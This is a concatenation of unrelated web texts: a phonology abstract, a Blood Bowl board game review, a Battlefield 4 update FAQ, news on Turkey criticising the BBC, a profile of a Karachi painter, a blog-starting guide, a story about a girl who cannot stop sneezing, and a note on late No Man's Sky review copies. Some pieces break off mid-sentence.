Variationist/evolutionary models of phonology assume a causal chain that links biases at the utterance level to the development and consolidation of abstract phonological patterns over time. Some of the properties of linguistic cognition that have been proposed to underlie this chain are (i) storage of experienced detail at multiple levels of description, (ii) feedback between perception and production, (iii) a similarity bias in the production and perception of variation, and (iv) enhancement of cues to potentially ambiguous lexical items in usage. I review evidence for these properties and argue that they interact to provide a pathway for individual usage events to influence the evolution of contrastive sublexcal category systems, i.e phoneme inventories. Specifically, the proposed Network-Feedback model predicts that the organization of sublexical category systems is shaped by a conflict between a general drive toward greater similarity among sublexical categories on the one hand, and a bias toward maintaining contrast between tokens of competing lexical categories on the other. The model provides testable hypotheses about the conditions favoring phoneme merger, chain-shifts, and phonemic splits, and more generally about the influence of lexical contrast on the packing of sublexical categories along gestural/perceptual dimensions. Finally, this pathway of change is consistent with proposals that sublexical categories such as features and segments are not primitives of language, but emerge through more general properties of performance, perception, categorization and learning.
Verhoef, T. The Origins of Duality of Patterning in Artificial Whistled Languages
In human speech, a finite set of basic sounds is combined into a (potentially) unlimited set of well-formed morphemes. Hockett (1960) placed this phenomenon under the term ‘duality of |
re-rolls, and you decide how often, and in what order, the dice get a chance to screw you.
That risk is everywhere, and you need to deal with it. You set up your play – you make plans to move a player to pick up the ball, send it hurtling over the pitch to your runner, with the intention of scoring a beautiful touch-down. You move to the ball, and roll a two – a failure. It’s fine, you’ve got the sure hands skill. You can roll again. And you do – and get a one. That’s also a failure. That’s the turn over. And now your opponents get to capitalise on your failure. Nice rolling, no rolls.
A turn of Blood Bowl is fundamentally about positioning yourself to deal with these horrible, teeth-grinding moments. It’s about making sure when those same moments happen to your opponent you’re poised to seize the momentum of play. Your job as a coach in Blood Bowl is mitigate and prioritise risk. You’ve got eleven players (to begin with at least) and you need to coax them into action in the order that is going to expose you to the fewest number of unfavourable die rolls. You are constantly looking to triage your position and carefully spend your actions to ensure failure isn’t critical.
So you handle your moving first, because that’s risk free provided you’re not dodging out of a tackle zone. You use that to set yourself up for blocking, making sure that your players are well supported by their allies. The more of your buddies around you, the more likely attacks will be under favourable conditions. You use blocking to then set up chains of attacks, hopefully knocking enemies out of the way to bring yourself into closer proximity to your allies still left to block. When blocking, if you have a greater strength than your opponent, you roll two dice and choose which result you like. If you have a lower strength than your opponent, you roll two dice and they choose. You draw strength from untackled allies in contact with your target, so there’s a lot of careful ordering that goes into this. You want to make as few dice rolls as possible overall in a turn, but when you roll them you want them to roll in your favour.
That’s your turn – you make sure you cover the ball, that you protect your ball carrier (if you have one), that you cover all the angles. That you set things up to make sure your opponent must pay for every action with die rolls, because even if the odds are in their favour you roll so many dice so often that you’re guaranteed to end up cursing them. Every player extrudes a ‘tackle zone’, and that’s a powerful tool for area control and area denial. Blood Bowl is a game of violence projected and contained, and your tackle zones are how you shape that battleground. If you can’t play the ball, you absolutely must play the man.
You maximise their risk. You minimise your own. That, in a nut-shell, is what Blood Bowl is all about. It presents you with an intricately connected puzzle of randomness, and then equips you with the tools needed to meaningfully manage it. You’ll never end up with a sure thing – there will still be situations where ‘lol, roll better’ is the only way to improve for next time. Those moments though are rare because you have a massive bag of tricks you can use to make sure when the dice roll, they roll true. You can make sure you play the right players for the right roles, and you can carefully make use of your sparse re-rolls to ensure mitigation of the worst turnover timings. Be careful though, because re-rolls can turn things from bad to worse. There are few things as galling as thinking ‘I really need to knock this guy down’ and re-rolling your two block dice to get two ‘attacker down’ symbols. You have to take the reroll – but that’s part of the risk. That’s part of what it means to never be able to ensure your own success, no matter your tactical genius.
But then here’s the awesome part – the fact you can’t guarantee success is great. You might be rolling three block dice against an opponent, and all three come up attacker down. The chance is low, but it’s there, and I’ve had it happen to me. It was a moment so bitterly, karmically unfair that it was like the universe itself had decided to support my opponent. Randomness in this game can be anthropomorphized into a malevolent asshole out to make you look like a chump. Every so often events conspire in such a way that you need to convince yourself through gritted teeth that ‘I am definitely enjoying this’. Next turn though, you’ll just as likely be cheering wildly for your Ol’ Buddy Randomness who just let you kill a massive troll with a single block die. Blood Bowl is a game where you are always at risk of rolling poorly, but it’s also a game that manages to ensure that if you’re the better player you’ll still almost always win. Mitigation in that respect comes in a whole range of forms. If Blood Bowl seems too random, you’re probably not playing it right. There’s randomness in the individual plays, but your strategy and your positioning are far more significant predictors of outcome.
Blood Bowl, more than any other game I’ve ever played, is a game of real, palpable moments of fist-pumping triumph or hair-pulling despair. It’s perhaps the only game I’ve played where I will stand up and yell ‘Yes!’ when a particularly risky strategy comes together.
It’s the last turn of the second half. You’re one point down, and the only way you can pull yourself back from a loss is to perform the dice-rolling equivalent of tap-dancing through a minefield.
You roll to dodge out of a tackle zone – you manage it. The crowd cheers their approval.
You slip through another tackle zone, because it’s the only option you have. You fail the roll. The crowd groans. You spend a re-roll. You pass! The crowd goes wild!
You run to the end zone ready to score a touchdown, but your movement allowance is two squares too short. So you go for it – you can eke out another two squares of movement at the cost of a die roll per square. You roll the die once. It’s okay, you move into the square nearest the end zone.
Excitement in the crowd, and the coaches, is at fever pitch. One more square and you score. You close your eyes. Everyone holds their breath. You roll the die…
And it doesn’t matter what you roll because that moment is great regardless of how the story ends. It ends either in fantastic triumph with a last second equalizer, or in noble defeat and wild exultation from your opponent. No matter what happens, it’s a memorable experience. Every die roll feels awesome for one of you, and the emotional high-point will bounce between the two coaches like a rubber ball in a tumble dryer.
Blood Bowl is full of these memorable experiences. It’s the randomness that permits it, and it’s the turnover system that adds the emotional accelerant. It’s not ‘Oh, I failed my roll so I go do one of my other actions’ – those turnovers happen at the worst possible moments, and they cut short your momentum and hand it wholesale off to the other player. Turnover keeps play from being abstract and sterile – it makes it visceral. The combination of these elements elevates Blood Bowl from a comparatively workaday fantasy gridiron game into a platform for emergent storytelling where both players will be constantly and consistently surprised by the growing narrative of the match. You can tell sensible, coherent stories from these dice rolls, and that’s a phenomenal feat of game design. You’re perpetually surging down the mathematical slope of de-escalating turnover, and no matter what happens on your downwards trajectory, it’s going to be interesting. Infuriating, enraging, violently upsetting sure. But interesting. It might be a manifestation of a kind of ‘ludic Stockholm Syndrome’, but you will live and die with your team’s successes and failures.
Blood Bowl is such a great game that it’s even a teaching aid. It lets me understand what fans of real sports feel. It has all the drama and cut and thrust of an actual match. The ebb and flow, to and fro, stop and go, and high and low of sporting accomplishment is beautifully simulated by these sometimes anachronistic mechanics. Blood Bowl is a fantastic game.
It’s not a perfect game of course, because few games are. It’s mechanically awkward, with a lot of scope for missing important modifiers or mistakenly committing to actions. The consequences for such mistakes can be considerable, because turnover is a constant threat you need to navigate. If it’s galling to suffer turnover because of your intentional action, it’s almost unbearable to suffer it for a mistake. All those dice rolls add depth and story to play, but each one is a mess of modifiers and special considerations and exceptions and exemptions. Blood Bowl, for all its very considerable assets, is not a game that plays smoothly, or permits effortless expression. It will fight you every step of the way. The best thing you can say about this is that there are no obviously unnecessary rules – this isn’t first edition AD&D, everything here serves a purpose.
It’s also a game that this base set doesn’t really do a great job in opening up. Much of the true diversity of Blood Bowl is in the different teams it makes available – elves are agile and masters of the passing game. Undead are flimsy but frustratingly durable. Skaven are stunty little bastards that will be all up in your end-zone like rats slipping through a drainpipe. Dwarfs are like concrete walls in football helmets. Every team plays meaningfully differently which creates a fantastic meta-game of strategy, counter-strategy, counter-counter strategy and so on. Elves versus dwarfs is a very different match to dwarfs versus goblins. That’s what keeps Blood Bowl feeling interesting after forty or fifty intense matches – there’s always something new happening as a consequence of combinatorial explosion. This diversity is supplemented with formal league play, star player advancement, apothecaries and so on – it creates a very rich meta-game of team management and long-term campaigning when this stuff is available. You develop an attachment to your team, and your players, if they’re part of an ever evolving league. Playing Blood Bowl as a single game is great – it’s all the fun described above. Playing it within a league is better. Every bone crushing injury and dead player feels all the more meaningful because of the long term consequences.
With the base set, you get a human team and an orc team, and not many models of either. Like the X-Wing Miniatures game, you need to look on the base set as your down payment on a future investment if you want to get the most out of it. I’ve already ordered the Skaven team, and the campaign supplement. £65 is a lot to pay for a down-payment though. Games Workshop are not known for being the most affordable or generous of publishers when it comes to this kind of thing – their business model is built around the expectation of regular purchases of supplementary material. The base set will only carry you so far, and the truth is it’s probably not as far as you might like.
Still, our review here is as much about what the game can be as what it is in the box, and the game Blood Bowl can be is easily four and a half stars. You can realistically settle for a handful of teams in your own collection, because you will eventually develop preferences. I like dwarfs and wood elves, and if I want deeper variety well – if Games Workshop does one thing well it’s supporting play at its store-front locations. Even if you don’t own all the teams, you’ll find there are plenty of opportunities to experience a kicking at the hands (feet) of an ancient mummy. While the intersections of team styles adds depth to play, more teams are primarily about increasing breadth. You’ll find a balance, if you decide this is a game you want to be part of your life. And if you don’t fancy paying the prices charged by Games Workshop, I’m sure a cottage industry of compatible third-party substitutes will be available. We are seeing Blood Bowl return to the tabletop, at least in part, because the Blood Bowl community is phenomenal and that adds tremendous value to the franchise. In a real sense, Games Workshop has ceased to be relevant as far as Blood Bowl goes – this base set may be the ‘official’ box, but you could cobble together your own using nothing more than plasticine, a few dice, a couple of bits of loose cardboard and a printer for the rules.
God, I love Blood Bowl. I’m not saying that you will too – but I do think you owe it to yourself to push past its initial hard shell and give it a go. Just bear in mind that Blood Bowl isn’t forgiving of casual dalliances. It’s not looking for a one night stand. You better be prepared to put a ring on it if you want the best experience. It expects and demands commitment.
It’s definitely not for everyone, but it’s just as definitely absolutely for me.
And now, a word from our sponsors, Bugman’s Brewery…UPDATE 6/15: Minor edits/changes to answers.
Recently, the Spring Update for Battlefield 4 was released, bringing with it 5 new weapons, the new Gun Master game mode, Netcode improvements, and much more. We’ve seen a lot of excitement around this update – and also some feedback and questions.
Learn More about the Battlefield 4 Spring Update
Get the Full Spring Update Notes (PDF)
Below, we’ve gathered some of the most common Spring Update questions from the community.
How come roof access/ladders were removed from some infantry game Modes?
We are currently monitoring how the Maps and Modes play at the moment, and how these changes affect gameplay and flow of these infantry-focused Modes. So, keep your feedback coming.
How come some details were missing from the Spring Patch Notes?
The SRAW changes were made very early in the process, and therefore was missed. We apologize for the oversight, and are taking your feedback into consideration for future patches.
What’s up with the UCAV and Mortar deploy time?
Changes were made with the best intentions. We want to revisit this to optimize its functionality on the Battlefield.
How come the visuals on the Tracer Rounds are very prominent?
The intentions of Tracer Round visuals were to make them noticeable, but we will be taking your feedback into consideration for future patches.
How come kit specific perks/loadouts reset?
We are aware of this issue and looking into a solution. In the meantime, use the in-game Loadout menus which should work perfectly (per Faction).
How come we are still seeing “netcode” issues?
We are seeing server performance issues on some Platforms in some Regions and are working on a solution. If you experience this issue, please try to find another server.
Why has my favorite weapon been changed so much?
We are fairly happy with the weapon balance at this point, but we are always open to feedback. We suggest trying all of the weapons and providing your feedback on the forums.
Why has Zeroing distance changed?
Zeroing has changed slightly due to a resolved headglitch issue and sniper rifle bullet speed changes. The 100M reflect the actual zeroing distance. Previously it did not.
How come the Mare’s Leg seems very weak? I’m not inclined to use it.
We wanted to make sure it’s not OP when you use it at a distance. We are continuing to balance this weapon.
Why has air weapons been changed?
We felt the weapons needed to be changed to provide a better balance against other vehicle types and infantry. We may have changed a bit too much on Conquest, and are continuing to look at your feedback.
Remember that we’re always listening, so if you want answers you can’t find here – let us know in the comments below or on the forums.
David Sirland & Thomas Andersson
DICE LA
THE DEPICTION OF ANY WEAPON OR VEHICLE IN THIS GAME DOES NOT INDICATE AFFILIATION, SPONSORSHIP OR ENDORSEMENT BY ANY WEAPON OR VEHICLE MANUFACTURER.Turkish presidential spokesperson accuses BBC of ‘indirectly supporting’ PKK
ANKARA
The Turkish president’s office has criticized the BBC for an interview with a leader of the outlawed Kurdistan Workers’ Party (PKK), suggesting that the interview was aimed at portraying the group’s “rhetoric as if they are reasonable and legitimate demands.”“This kind of work aimed at acquitting the terror organization has no relation with journalism. This is nothing but indirect support lent to terrorist propaganda,” İbrahim Kalın, the spokesperson for President Recep Tayyip Erdoğan, said April 25, hours after the BBC published an interview with Cemil Bayık, who along with Murat Karayılan, is considered the PKK’s top commander on the ground in the absence of the group’s imprisoned leader, Abdullah Öcalan.Kalın asked what Britain’s reaction would be if “a news agency financed by taxes paid another country’s citizens had a similar interview with al-Qaeda” which launched the 7/7 attacks on London in 2005 and “tried to portray the head of that terrorist organization as if he is a reasonable and legitimate actor.”“Here, we face a very similar situation. Going and holding meetings with this spokesperson of the PKK and that leader of the PKK, etc., and then trying to impose the PKK’s rhetoric as if they are reasonable and legitimate demands is nothing but something that indirectly aids terror propaganda,” he said, adding that Turkey “rejects and condemns” such activities.In the interview with BBC, Bayık confirmed the PKK had had “direct” communications with the United States in the battle against the Islamic State of Iraq and the Levant (ISIL).“This claim was voiced by terror organization leaders previously too and was rejected by the related countries,” Kalın said when asked whether they had any information on such contacts. Turkey takes statements made by those countries at their face value, he added.This is not the first time that Turkish authorities have targeted U.K. media outlets’ reporting on the PKK, which is listed as terrorist organization by the European Union and the United States, in addition to Turkey.In 2005, then-Prime Minister Recep Tayyip Erdoğan harshly criticized the BBC and Reuters for describing PKK members as militants and guerillas instead of terrorists.In August 2015, this time, the Turkish Foreign Ministry accused the BBC of “openly supporting terrorism” by making “written and visual propaganda” for the PKK.At the time, in response to Erdoğan’s criticism in 2005, the BBC said taking into consideration the specific conditions of each incident, it prefers to use more descriptive words such as “bombers, attackers, armed people, kidnappers, rebels and militants” when reporting about perpetrators of violent incidents. The BBC also said it avoided using the term “terrorist” for the IRA, for fear of sparking Catholic reactions in Ireland.We advanced into Lyari with feelings of apprehension and excitement to meet the artist who had been recently discovered for his impeccable portrait of the Obamas. As our vehicle drove deeper into the neighbourhood, the environs began to appear unfamiliar and archaic, but none more so than your average time-worn Saddar street.
A few more turns into narrow roads, and skirting around road-carts or otherwise preoccupied looking pedestrians later, we finally reached the ‘studio’ of Parvez Bhatti.
Parvez, 60, came into media spotlight when his painting of the Obamas was photographed by a student photographer at ‘Humans of Lyari’ (HOL) — a venture of the Society for International Education and the Karachi Youth Initiative, and put up on their Facebook page after which it instantly went viral.
The once unheard of aesthete had an artistic den; a few creaky benches stained with paint, a stool with a piece of glass which served the purpose of a palette and a number of men appeared into sight as narrow alleyways (and a goats’ enclosure) led us into his sunlit studio.
The painting of the Obamas which received instant recognition.— Yumna Rafi
However, one unmistakable facet of the scene, even from a distance, was the immense portrait in which the Obama family beamed at the visitors as it sat along with some 20 other paintings in a mini art gallery in the background.
A closer look and it was evident that the Obamas portrait was only one of the feathers in Parvez’s cap — and a small one thereof; from portraits of Quaid and Jesus to depictions of old Karachi and rural Sindh, each piece seemingly attempted to engross its observer into the fascinating tale it encapsulated.
Towards the facade, Parvez perched on a stool working on a piece, careful not to miss any highlights on the face of a rural woman he had portrayed on the canvas.
Before we even took our seats for a chat with the maestro who delicately added some final strokes to his piece, we were served tea despite our polite refusals.
Parvez, a resident of Lyari’s ‘Slaughterhouse’ (locally known as Kamela) neighbourhood, is joined at his studio by his two sons — Raheel and Jisarat, who Parvez said found their way into art only a few years ago after he successfully convinced them to join him.
“I wanted Raheel to become a doctor and Jisarat, a pilot,” Parvez said, his tone wistful. “But they only ended up being painters.”
Parvez started painting for local art galleries under the training of his mentor, whom he referred to as Sardar Sahab, in 1971 and has never stopped since.
A painting by Parvez's son that was displayed in one of the exhibitions at Arts Council.— Yumna Rafi
“My father did not want me to become an artist, he thought the mental effort that art demands would weaken me. He would rather I became a wrestler,” Parvez said, recalling how his family reacted on his decision to pursue fine art.
“[However,] I gave more importance to my will and passion,” he added.
Parvez decided to turn his passion of fine arts into a profession. His paintings have so far been bought in the price range of Rs 10,000 to Rs 200,000, depending on the work's size and content.
Parvez making a potrait of a woman. — Yumna Rafi
Pointing towards the portrait of the Obamas, Parvez revealed how his friend ‘Agha Sahab’ advised him to paint the first family of the US suggesting it could be a late breakthrough in his career.
It took Parvez three months to complete the Obamas portrait, which he made a year ago. Parvez wished to see his masterpiece end up in the White House. In fact, he was quite optimistic about it.
Painting for the past 40 years, Parvez said he has lost count of how many paintings he has under his belt to this date and where many of his pieces are now. “I often see a painting gracing a wall somewhere, I appreciate the effort behind it only to realise that it is in fact my own creation,” he said.
Yet he has never invested heavily into advertising or marketing. “I don’t know how God creates the means for my sustenance,” Parvez said, leaving us wondering where his business would stand if he had a Facebook page devoted to it.
He has also never held a bona fide exhibition of his works and said the chances of him holding one are slim since he does not find the time needed for the planning and execution.
Much of his paintings and skills have been inspired by the handiwork of “Qasim Sahab of Bohrapir”, who he lists as a mentor.
The simple palette with a cleaning cup.— Yumna Rafi
The lifelike paintings in the studio were each marked with great detail, which could be easily mistaken for a photograph. “A true artist will never give up on his work until he is truly satisfied with it. If a painting is completed today, I will take two [extra] days to work on it.”
“A satisfied customer is the perfect remuneration for me,” he added, as we were served tea for the second time, this time with biscuits.
Parvez said his educational background is negligible but that his sons attended school until Matric (grade 10).
Upon our query if he ever regrets not getting educated, Parvez seemed to hide an emotion or two behind a chuckle. “When the time has passed, everybody regrets to not have done something or the other. But what can you do?”
According to him, the key to mastering a skill is thorough practice. “I used to think I would never learn this art even after spending a lifetime with Ustaad (mentor). It took me three years to realise I could in fact do it.”
Being an artist in Lyari
The artist’s talent has not gone unnoticed by the residents of Lyari who have been immensely supportive of his work, and the Obamas painting has been no exception to this.
“They (people of Lyari) realise that I am an artist and an artist can portray whoever and whatever he has been asked to,” Parvez said.
The fragile security conditions in the neighbourhood have never been a problem for his business either since he, like the majority, take necessary precautions such as coming home before dusk.
“There are no disadvantages to living here,” Parvez said with a peculiar lack of anxiety.
He added that if and when he ever decides to move to a more affluent neighbourhood in Karachi, Lyari's current conditions would not be the cause of it.
Parvez believes a good painting is one that speaks for itself. —Yumna Rafi
Parvez said a large trove of talent remains undiscovered and that he has always been open to mentoring young aspiring artists.
“It’s not that we would refuse to train some students. But if a student really has that x-factor, then we fully concentrate on [training] them,” he said.
The artist, who after some contemplation declared orange and amber as his favourite colours, has also painted extensively for churches and mosques.
He believes art can play a major role in creating harmony among the people but only if they are willing.
“I am certain that the conditions will change — of Lyari, of Karachi, of Pakistan,” Parvez enunciated before we bid our farewells, leaving us with a renewed sense of hope.
Credits
Reporter:
Adeel Ahmed
Edited by:
Yumna Rafi
Photography:
Yumna Rafi
Video and Editing:
Muhammad UmarThe thought of owning a blog and making money working from home is something that anyone would find enticing.
The idea of starting a blog is probably something that’s crossed your mind, or maybe you’ve decided that you want to do it after reading my incredible articles.
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Trust me, I don’t blame you 🙂
But, before you leap into the fray though, let’s talk about some things that you need to know before you start a blog. If you’re already ready to take the next steps, you can select an option from one of the best free blogging sites or self-hosted options.
These 40 items are more than just pieces of advice – they are nuggets of gold. Do things the right way and your traffic could be spiking, just like this:
Alert: Learn the exact strategies I use to build blogging powerhouses. Learn the exact strategies I use to build blogging powerhouses. Get access to my exclusive treasure chest of practical strategies you can implement today.
Here’s what you’ll learn today: A seven day schedule to prepare and launch your blog
Daily tasks and pieces of knowledge to help you along your journey
Coverage on everything from blog topics, to plugins and social media
Introduction: Let Me Ask You Something
Does your job make you happy? It’s a fair question, and one that many people would answer with a flat out “no.” People think they just have to settle for the job that pays the bills, but blogging can give you a rewarding lifestyle and a massive paycheck that keeps everyone happy.
As a blogger, I, like so many others enjoy these benefits and many more:
work from home
I make enough money to live comfortable and happy
I don’t “work,” instead I have a blast each day
I’m incredibly handsome and wildly charismatic (a side-effect of being a blogger)
You may not be a writer, and you may not know a thing about HTML coding, and you don’t need to. Anyone can blog! Don’t wait though, don’t let this idea fall to the wayside. Instead, find out how to start your blog and absorb these 40 things to know NOW.
Seven days from now, you’re going to be a blogger. Day one begins NOW!
Day One: I’m Going to Start a Blog!
“The longest journey begins with a single step.”
– Lao Tsu
Interesting quote, isn’t it? For you, that single steps begin with the idea of starting a blog suddenly popping into your head.
From there, it grows into a confidence, and from there a willingness.
You have that idea, my blogging powers tell me so. It’s time to find out what you should know and do before you start this blog.
1. Say it!
You’ve thought about making a website, you’ve considered it, but now it’s time to tell the world. So, say it out loud:
“I’m going to start a blog today.”
“I’m going to start a blog today.” [click to tweet]
Saying it out loud makes it a verbal contract.
A contract between you and the world that you can’t break. Take that first step, make your intentions known. That’s the first step.
2. There Are a LOT of Blogs Online!
In 2014 there were over 152 million blogs online. That number didn’t stop there though…
A new blog is created every half a second!
Doing the math, I’m guessing anywhere from four to six blogs went live while you were reading this. You may think this is supposed to discourage you, but it’s not. Competition is part of blogging, sure, but these numbers are supposed to get you pumped.
If there’s millions of blogs out there making money, then this isn’t some hobby as people may think. This is a means of working from home and doing something you love.
3. People Visit Blogs For a Variety of Reasons
Blogs have been used for a variety of things over the years. Originally they were simply online journals, but they’ve evolved to cover a number of topics and purposes:
Do it yourself guides
Numbered lists
Product reviews
Recipes
Stories
How to start a blog (*wink*)
Fashion blogs
Online portfolios
Just about any topic out there has some sort of missing piece where people are asking questions. The answers to those questions lie within the blogs all across the internet. It’s time to make yours one of them.
4. Oh Yeah, You Can Make Money Blogging
When you’re working on your blog, you can be making money with every word you type. No, it doesn’t pay-per-word, but there are plenty of ways to make money blogging. It all comes from having a great set of posts and a stellar blog that fills the void in your topic.
The methods by which you make your money can vary, and they’re called income streams. One example is Google AdSense which connects you to a network of relevant ads that display on your blog and make money when they’re clicked. This is just one of many different ways to earn from your blog.
This is just one of many different ways to earn from your blog.
Ready to start your own blog? Click here to have a shiny new blog in minutes.
5. Success Comes With Time
Setting up your blog only takes a few minutes, but making money takes a little longer. I think one of the most important things to keep in mind is that you’ll need time and energy invested before you see the money coming in. In other words, don’t let the bad days get you down.
You’ll get where you want to be, you just have to keep up the pace. Between that, and the right use of blogging tools, you’ll have nothing to worry about.
6. Start Networking Immediately
When i say networking, I don’t mean start plugging everything with an internet connection into your router, I mean getting to know people in your field. In business, connections are everything. As the saying goes:
It’s all about who you know.
The same holds true about blogging, except blogging doesn’t require you to be anywhere in particular. Instead you can network by using social sites like LinkedIn or the old fashioned way: commenting on other blogs and emailing their owners.
All it takes a friendly outreach and suddenly you have a valuable resource on your hands. Imagine if one of these people started telling others about your blog. That would be huge!
Day Two: What’s My Topic?
“First: discover who you are. Second: discover your blog. Step three: profit.”
– Matt Banner
Yeah, I quote myself sometimes.
7. Things NOT to do When Choosing Your Blog Topic
Your blog’s topic is a reflection of you and the things you care about. That being said, it’s not a broad topic, it’s more or a narrow concept that you are moving in on to conquer. It’s a careful choice that shouldn’t be made lightly. Here are some things to stay away from when choosing your topic:
Your blog topic shouldn’t be based on which one makes money consistently.
Make sure your topic has a following and an audience you can target (in other words, don’t make a blog for the Amish since they don’t use internet).
Stay away from topics that you don’t know much about.
Don’t sway from the topic at hand, pick something focused.
How to Choose your Blogging Niche
Try using Buzzsumo for content inspiration. Buzzsumo has to be one of my favorite tools to see what others are writing about, which articles are more successful than others, and who’s sharing those articles with the world.
Head over to Buzzsumo and type in a topic idea in the search bar.
Then, Buzzsumo will show you the top articles written on that topic, sorted by the most shared on social media.
Let’s go one step deeper:
Click “view sharers” to see who the active people are that are sharing content in your niche. These people are more likely to have identically great content shared on their social platforms. Dig into who these people are and see what types of content they share most often.
8. Finding Your Niche
As I mentioned in the previous number, your topic is more than just a broad idea. That’s what you start with: a great idea. From there you narrow it down to a place where other blogs haven’t yet dared to go, but the people demand answers. That place is called a niche.
Your blog’s posts will revolve around this niche and the various questions and answers within it. By doing this, you’ll be providing a new resource for people within that niche and your audience will come from that.
Here’s a great exercise to help you find your niche: 1. Family Business – There’s always a degree of informal training given by your parents. Perhaps they run a business you can help out with. Furthermore, you may even know more about a particular niche if your family has been involved in it. 2. Educational Background – Did you go to school? If so, what did you study? You may have a significant advantage by having an education and focusing on a particular area of study. Say you studied nursing while you were in school, that expertise you learned during those classroom days can give you your first taste of a breakthrough in online marketing. You can easily share with the world, in your own words, what you know about studying nursing and how you can make an impact with that knowledge (i.e. Making a nurse’s job easier, tips on how to be more hospitable to patients, advice on how to get the best nursing education, etc.). 3. Career Background – You might have some real world experience that you can give a first hand perspective with. Did you install alarm systems in your 20’s? You can start sharing your own personal experiences and in-depth advice because you were physically installing alarms. That insight is invaluable.
Found your niche? Then you’re ready to blog! Then you’re ready to blog! Click here to get your own blog at an exclusive discount.
9. Do Your Research
Don’t just pick something that sounds good to you. Instead, do some legwork by searching your topic/niche on Google and see what comes up.
Check out popular blogs within that realm and see how well they’re doing. Find out if your choice is something that has potential and interest.
10. Decide on Your Blog’s Purpose
Once you know what you’re talking about, the next step is to elaborate on how you will serve the people in that niche. There are many different things that you can do within your niche including the following:
How-to-guides
Tips and tricks
Educational topics
Entertainment
Product Reviews
A Personal biography
11. Don’t Choose a Topic Because it’s “Trendy”
During your research, you may come across topics that are hot and ranking high. Ask yourself though, are these passing fads or long-term blogging topics?
Understanding the distinction between something that is trending and something that is an ongoing subject. Here are some characteristics of a topic that won’t last:
It’s tied to a specific event or date
The topic emerged with a massive following (no growth)
It achieves widespread mainstream exposure outside the topic
Google trends is a great tool you can use to get a better understanding of trends and fads.
12. Choose a Topic That You’re Passionate About!
Your blog has to revolve around something that you feel strongly about. You need to choose something that instantly makes you want to start talking. Choose something that you love and feel a lot of passion for and it will come through in your writing.
Day Three: Time to Size Up the Competition!
“Anyone who imagines they can work alone winds up surrounded by nothing but rivals, without companions. The fact is, no one ascends alone.”
– Unanimous
13. Remember, You Don’t Exist in a Vacuum
As you already know, there are millions of blogs out there. Your blog is not alone in the world wide web. It is one of countless others. Your competition will try to beat you, but they’re not out to see you fail. You need to be able to work with them and possibly for them in guests posts to succeed.
It’s a healthy competition, one that forges new and more innovative blogs, so don’t shut out the other people in your niche.
14. The Competition is NOT Your Enemy
While it’s natural to feel a bit of unbridled rage when you see your competition beating you, understand that they are a useful |
The only relief she gets is when she falls asleep each night. Her condition has left doctors baffled.
During a five-minute interview on the Today Show in the U.S. Lauren sneezed hundreds of times, her speech interrupted every few seconds.
The 12-year-old - dubbed the 'Gesundheit Girl' said: 'I can't stop.
'I thought it wouldn't last this long but it's been two weeks now.'
She said she is not in pain - simply in discomfort.
'It's primarily the sneezing,' she added.
'Maybe I'll get a raw nose from the tissues but that's it.'
'Miserable': Lauren with her mother Lynn Johnson on the Today Show in a bid to find someone who might be able to cure her non-stop sneezing
One expert believes she is suffering from a syndrome known as'machine gun sneezing', in which victims sneeze incessantly.
Lauren told the Today Show that she felt'miserable'.
'It's been a long two weeks. I've seen my friends here and there but I haven't been to school.'
Her mother, Lynn Johnson, has spent the past week going to a variety of doctors looking for a diagnosis and relief for her daughter - and has now gone on television in a bid to find a cure or a specialist who can help.
They have tried 11 different medications so far.
'Life for her has stopped. Everybody is baffled. Nobody really knows how to treat it,' Ms Johnson said.
She added: 'It turns off when she sleeps. Only in a deep REM sleep it turns off.'
Bless you: As Lauren sneezes again her mother explains that they have tried everything from conventional medicine to hypnosis therapy
They tried hypnosis but it did not work.
Lauren has also seen a therapist in case a psychological factor is triggering the physical reaction.
She has been unable to go to school because it puts other students off - and she struggles to eat between sneezes.
Lauren told a local news website: 'The hard part is missing school and when people stare.
'It's very hard.'
Doctors believe it may be that she is suffering from an 'irretractable psychogenic disorder' that could be triggered by stress.
Her mother added: 'There's less than 40 cases ever documented ever in the entire world. Nobody really knows how to treat it, what's going to work, and even in the cases where it might have worked or turned the sneezing off for awhile, a lot of times it comes back again and then you're right back to where you started.'
Neither Lauren nor her mother say she is stressed out.
Her sneezing is not contagious.
Watch Lauren Johnson's interview on the Today ShowYou may have seen reports circulating over the last few days that review copies of No Man's Sky have been very late in arriving. It's true - we have just received our PS4 copies today, and the game is released in the US tomorrow and in Europe on Wednesday. (The PC release date is Friday, and advance copies of the PC version are unavailable at present.)
The embargo for reviews and all other coverage generated from these review copies, which were supplied by Sony, is tomorrow at 4am UK time. Unfortunately there's no way that we can produce a review of No Man's Sky that meets our standards of thoroughness, or is fair to the game itself, in that time. I'm working on this review myself; if I can, I'll update you with some impressions tomorrow, but my focus will be on producing a full review later in the week, very likely after UK launch.
With review copies originally due on Friday but then delayed until Monday, some sites, as reported by Kotaku, have obtained copies of the game via retailers who were willing to break street date, so they could start work early and bring you their verdicts sooner. This is fair game, in my opinion, and not that unusual in circumstances when publishers withhold review copies. On rare occasions, we've done it ourselves. But we haven't this time. How come?
Although I was disappointed to learn about the delay to review code, I was also surprised. While some publishers make a habit of keeping review copies back until just before (or sometimes even after) launch, Sony is not one of them. Even though disc copies were out in the wild, I thought the delay must be for good reasons, and so it proved. Over the weekend, Hello Games announced that the No Man's Sky servers would be reset and that a major update would be issued today that made important changes and additions to the game's structure, its balancing, and even the algorithm that generates its universe and governs the variety of planets and life you'll find.
This is clearly the version of No Man's Sky that developer Hello Games wishes us to review from, and that it considers the final release version. Since the patch will be applied during the game installation process, it is also the version that will be played by all of you. It would be both unfair and inaccurate to review from an earlier version of the game - and on a personal note, as a reviewer, I'm glad my opinions haven't been coloured by playing that version, even if it could have helped me get the review to you a little earlier. Our review policy states that "we will make every effort to ensure that our experience of a game matches that of the majority of players". Although No Man's Sky only has limited online connectivity, this situation has created similar conditions to those for most online games, where the game simply doesn't exist in a reviewable state before launch.
How come we're in this situation, though? How come there's such a gulf between the game as intended, and the game as it is on the disc? Well, I can't speak for the developers at Hello Games or their partners at Sony. I can, however, join Rami Ismail of Vlambeer in his speculation that the certification process that ensures the quality of console games, while having many benefits, is ill-suited to the way that a small indie team like Hello Games creates software - especially when the manufacture of disc copies is involved. (Rami's thoughts are well worth reading.)
Whatever the case, it's clear from our review policy and from the patch notes that it would have been wrong of us to start the review process for No Man's Sky before today. That means we'll be late with our review. Sorry about that! I hope you'll still find it useful, entertaining, or ideally, both - and good luck exploring the universe.Henry VIII may have suffered repeated traumatic brain injuries similar to those experienced by football players and others who receive repeated blows to the head, according to research by a Yale University expert in cognitive neurology.
